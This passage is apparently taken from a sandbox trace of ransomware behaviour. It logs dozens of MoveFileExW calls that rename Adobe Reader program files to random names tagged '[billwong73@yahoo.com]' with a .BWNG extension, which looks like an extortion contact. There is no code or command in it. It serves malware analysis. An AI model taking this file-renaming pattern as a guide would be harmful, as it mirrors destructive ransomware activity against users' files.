(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\[billwong73@yahoo.com].FeyVGl1N-sQ5qxNpQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\[billwong73@yahoo.com].feyvgl1n-sq5qxnpq.bwng"), dwFlags=0x1) returned 1 [0093.764] GetTickCount () returned 0x115f3a2 [0093.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23571648690) returned 1 [0093.764] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\[billwong73@yahoo.com].qsae6ljI-UDobm4ed.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\[billwong73@yahoo.com].qsae6lji-udobm4ed.bwng"), dwFlags=0x1) returned 1 [0093.766] GetTickCount () returned 0x115f3a2 [0093.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23571805709) returned 1 [0093.766] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].g4bnd8H0-thSBj91v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].g4bnd8h0-thsbj91v.bwng"), dwFlags=0x1) returned 1 [0093.767] GetTickCount () returned 0x115f3a2 [0093.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23571936918) returned 1 [0093.767] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\MakeAccessible.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\makeaccessible.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].sjDpXfpE-Z7EvAcMF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].sjdpxfpe-z7evacmf.bwng"), dwFlags=0x1) returned 1 [0093.768] GetTickCount () returned 0x115f3a2 [0093.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572057067) returned 1 [0093.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\ReadOutLoud.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\readoutloud.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].FCveOouR-AO9nOutP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].fcveoour-ao9noutp.bwng"), dwFlags=0x1) returned 1 [0093.770] GetTickCount () returned 0x115f3a2 [0093.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572190757) returned 1 [0093.770] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].pmw3Vakk-tZW1Q1OS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].pmw3vakk-tzw1q1os.bwng"), dwFlags=0x1) returned 1 [0093.771] GetTickCount () returned 0x115f3a2 [0093.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572329801) returned 1 [0093.771] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\[billwong73@yahoo.com].rG7ujPIm-lJXjnZfQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\[billwong73@yahoo.com].rg7ujpim-ljxjnzfq.bwng"), dwFlags=0x1) returned 1 [0093.773] GetTickCount () returned 0x115f3b2 [0093.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572489214) returned 1 [0093.773] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Accessibility.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\accessibility.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].ISJTwAzS-jTj3JuQ1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].isjtwazs-jtj3juq1.bwng"), dwFlags=0x1) returned 1 [0093.774] GetTickCount () returned 0x115f3b2 [0093.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572612570) returned 1 [0093.774] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Reflow.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\reflow.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].xzueCRPH-y7CtQkyO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].xzuecrph-y7ctqkyo.bwng"), dwFlags=0x1) returned 1 [0093.775] GetTickCount () returned 0x115f3b2 [0093.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23572739894) returned 1 [0093.775] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].hiNx4Stw-ADpnBm57.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].hinx4stw-adpnbm57.bwng"), dwFlags=0x1) returned 1 [0093.780] GetTickCount () returned 0x115f3b2 [0093.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573185116) returned 1 [0093.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].0epImDfh-UMji4tLK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].0epimdfh-umji4tlk.bwng"), dwFlags=0x1) returned 1 [0093.781] GetTickCount () returned 0x115f3b2 [0093.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573319016) returned 1 [0093.781] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].pbRX4Qk0-CDbcbDaG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].pbrx4qk0-cdbcbdag.bwng"), dwFlags=0x1) returned 1 [0093.782] GetTickCount () returned 0x115f3b2 [0093.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573463586) returned 1 [0093.783] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].kGRTxjfg-xW6j4sWS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].kgrtxjfg-xw6j4sws.bwng"), dwFlags=0x1) returned 1 [0093.784] GetTickCount () returned 0x115f3b2 [0093.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573597447) returned 1 [0093.784] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].soOKn9yc-1AbuQTq7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].sookn9yc-1abuqtq7.bwng"), dwFlags=0x1) returned 1 [0093.785] GetTickCount () returned 0x115f3b2 [0093.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573727115) returned 1 [0093.785] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].kPK89Q4E-BrT5nTK1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].kpk89q4e-brt5ntk1.bwng"), dwFlags=0x1) returned 1 [0093.786] GetTickCount () returned 0x115f3b2 [0093.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23573856829) returned 1 [0093.787] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].MuL8U4pT-zaKpzFcQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].mul8u4pt-zakpzfcq.bwng"), dwFlags=0x1) returned 1 [0093.788] GetTickCount () returned 0x115f3c2 [0093.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574012281) returned 1 [0093.788] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\QuickTime.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\quicktime.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\[billwong73@yahoo.com].3afezIRz-uaOV59VD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\[billwong73@yahoo.com].3afezirz-uaov59vd.bwng"), dwFlags=0x1) returned 1 [0093.790] GetTickCount () returned 0x115f3c2 [0093.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574182357) returned 1 [0093.790] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\[billwong73@yahoo.com].tMVEUxeh-4xwixwox.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\[billwong73@yahoo.com].tmveuxeh-4xwixwox.bwng"), dwFlags=0x1) returned 1 [0093.791] GetTickCount () returned 0x115f3c2 [0093.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574329058) returned 1 [0093.791] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\[billwong73@yahoo.com].ItUZQXtF-RZQZsgSA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\[billwong73@yahoo.com].ituzqxtf-rzqzsgsa.bwng"), dwFlags=0x1) returned 1 [0093.792] GetTickCount () returned 0x115f3c2 [0093.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574476455) returned 1 [0093.793] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\[billwong73@yahoo.com].irrZwJ5p-1eptAc97.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\[billwong73@yahoo.com].irrzwj5p-1eptac97.bwng"), dwFlags=0x1) returned 1 [0093.794] GetTickCount () returned 0x115f3c2 [0093.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574616113) returned 1 [0093.794] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].0wxkmSWl-iN9tJC3M.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].0wxkmswl-in9tjc3m.bwng"), dwFlags=0x1) returned 1 [0093.795] GetTickCount () returned 0x115f3c2 [0093.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574759695) returned 1 [0093.796] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\[billwong73@yahoo.com].ISUFuT1l-G5BnoN6e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\[billwong73@yahoo.com].isufut1l-g5bnon6e.bwng"), dwFlags=0x1) returned 1 [0093.797] GetTickCount () returned 0x115f3c2 [0093.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23574903748) returned 1 [0093.797] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\[billwong73@yahoo.com].hpMl9Rc9-VIcjP52r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\[billwong73@yahoo.com].hpml9rc9-vicjp52r.bwng"), dwFlags=0x1) returned 1 [0093.798] GetTickCount () returned 0x115f3c2 [0093.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23575059493) returned 1 [0093.799] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\IA32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ia32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].vj9tqFiS-dzfMioga.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].vj9tqfis-dzfmioga.bwng"), dwFlags=0x1) returned 1 [0093.800] GetTickCount () returned 0x115f3c2 [0093.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23575181885) returned 1 [0093.800] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].uJBaCRmF-BBnoGUY7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].ujbacrmf-bbnoguy7.bwng"), dwFlags=0x1) returned 1 [0093.801] GetTickCount () returned 0x115f3c2 [0093.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23575304179) returned 1 [0093.801] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].MFIRxhQj-TKvILj22.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].mfirxhqj-tkvilj22.bwng"), dwFlags=0x1) returned 1 [0093.802] GetTickCount () returned 0x115f3c2 [0093.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23575429406) returned 1 [0093.802] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Checkers.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\checkers.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].Wcmk61Op-CrjPyfjf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].wcmk61op-crjpyfjf.bwng"), dwFlags=0x1) returned 1 [0093.966] GetTickCount () returned 0x115f46d [0093.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23591869949) returned 1 [0093.967] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SendMail.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\sendmail.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].NdBbBQSm-t6cPHhy3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].ndbbbqsm-t6cphhy3.bwng"), dwFlags=0x1) returned 1 [0093.968] GetTickCount () returned 0x115f46d [0093.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23592001979) returned 1 [0093.968] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].F2EEhtaA-Ys7m4aEc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].f2eehtaa-ys7m4aec.bwng"), dwFlags=0x1) returned 1 [0094.395] GetTickCount () returned 0x115f612 [0094.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23634739514) returned 1 [0094.396] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].NDhu85kH-6DMN1HXj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].ndhu85kh-6dmn1hxj.bwng"), dwFlags=0x1) returned 1 [0094.686] GetTickCount () returned 0x115f73b [0094.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23663784509) returned 1 [0094.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\[billwong73@yahoo.com].2NoZ8Wiz-GJC40vjk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\[billwong73@yahoo.com].2noz8wiz-gjc40vjk.bwng"), dwFlags=0x1) returned 1 [0094.688] GetTickCount () returned 0x115f73b [0094.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23663978251) returned 1 [0094.688] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\BRdlang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\brdlang32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].WKmqYHr7-qvjSbKZd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].wkmqyhr7-qvjsbkzd.bwng"), dwFlags=0x1) returned 1 [0094.689] GetTickCount () returned 0x115f73b [0094.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664112443) returned 1 [0094.689] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].N7nK2ujs-Y3aj3SEf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].n7nk2ujs-y3aj3sef.bwng"), dwFlags=0x1) returned 1 [0094.690] GetTickCount () returned 0x115f73b [0094.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664257851) returned 1 [0094.691] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\[billwong73@yahoo.com].76Fxkbyn-YrNzJ4dX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\[billwong73@yahoo.com].76fxkbyn-yrnzj4dx.bwng"), dwFlags=0x1) returned 1 [0094.692] GetTickCount () returned 0x115f73b [0094.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664409130) returned 1 [0094.692] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\RdLang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\rdlang32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].mlxYF6vA-q2BvgkV3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].mlxyf6va-q2bvgkv3.bwng"), dwFlags=0x1) returned 1 [0094.693] GetTickCount () returned 0x115f74a [0094.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23664565799) returned 1 [0094.694] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr"), 